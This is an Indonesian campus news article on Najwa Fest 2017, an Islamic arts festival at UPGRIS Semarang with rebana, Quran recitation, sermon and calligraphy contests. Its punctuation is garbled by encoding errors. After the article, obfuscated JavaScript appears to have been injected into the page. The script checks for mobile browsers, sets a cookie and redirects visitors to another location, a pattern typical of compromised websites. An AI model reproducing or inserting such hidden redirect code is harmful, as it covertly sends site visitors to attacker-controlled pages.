Najwa Fest Gelorakan Seni Islami

Alunan lagu-lagu islami mengalun di Balairung Universitas PGRI Semarang (UPGRIS) Kampus I Sidodadi Semarang, Kamis (27/7). Iringan musik rebana yang menyertai ikut menambah keindahan tembang. Belum lagi tepuk tangan dari para penonton yang gegap gempita, juga kian menyemarakkan suasana.

Semuanya menjadi bagian dalam ajang Nurul Asatidz Jawa Tengah Festival (Najwa Fest), yang digelar Unit Kegiatan Mahasiswa (UKM) Rebana Nurul Asatidz UPGRIS. Kompetisi tahunan ini menyajikan empat kategori yakni lomba rebana, khitobah, Musabaqah Tilawatil Quran (MTQ) dan kaligrafi.

 

ai???Peserta lomba merupakan masyarakat umum dan siswa SMA/MA/SMK se-Jateng. Kegiatan ini digelar dalam upaya menumbuhkan ukhuwah islamiyah dan peningkatan dakwah islamiyah. Selain itu, juga mengembangkan potensi yang sudah dimiliki para generasi muda dalam melestarikan seni budaya islam,ai??? papar ketua panitia Najwa Fest 2017 Miftahul Huda, disela kegiatan.

Tidak hanya itu, beragam lomba tersebut juga mampu mengembangkan seni islami yaitu seni rebana, musabaqoh tilawatil qurai??i??an, khitobah, dan kaligrafi, sekaligus menumbuhkembangkan jiwa agamis yang cinta Al Qurai??i??an dan tradisi Islam.

ai???Dalam ajang lomba rebana, setiap peserta hanya membawakan satu lagu wajib Aai??i??budu Annabawiyah ciptaan Syamsuddin Jawa Timur versi Langitan dan tidak ada lagu bebas. Sedangkan peralatan kreasi rebana murni yang digunakan meliputi gendong, genjur (jidur), ketiplak, kenting, kecrek, tamborin, sampur, terbang dan peralatan sejenis lainnya,ai??? tambahnya.

Selain memperebutkan juara I,II dan III dari masing-masing lomba, juga diberikan penghargaan untuk vocal terbaikAi?? dan performance terbaik untuk kategori lomba rebana. Lomba yang dimulai pukul 07.30 WIB tersebut dilakukan serentak di empat tempat berbeda. Lomba rebana digelar di Balairung, lomba khitobah di Gedung Pusat Lantai 7, Gedung PascaSarjana lantai 5 untuk lomba MTQ dan lomba Kaligrafi di Gedung Pusat lantai.6.

Rektor UPGRIS Dr Muhdi SH MHum menuturkan, ajang Najwa Fest bisa menjadi wadah untuk menguji sejauh mana kemampuan peserta, yang selama ini telah rajin berlatih. ai???Untuk menguji kemampuan kita, salah satunya melalui sebuah kompetisi. UPGRIS sebagai perguruan tinggi berbasis pendidikan, terus memberikan kesempatan dan ruang bagi sekolah serta siswa untuk berkompetisi. Ini menjadi bagian dari pembentukan mental dan karakter siswa,ai??? paparnya.

Dirinya menambahkan kompetisi tersebut tidak hanya di bidang akademik, namun juga non akademik khususnya seni budaya. ai???Ini menjadi cara kita untuk meningkatkan kreatifitas siswa, melalui minat dan bakat mereka. Kita harapkan ajang ini bisa terus berkembang, kuantitas dan kualitas peserta juga terus meningkat,ai??? pungkasnya.[]

 

  ulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply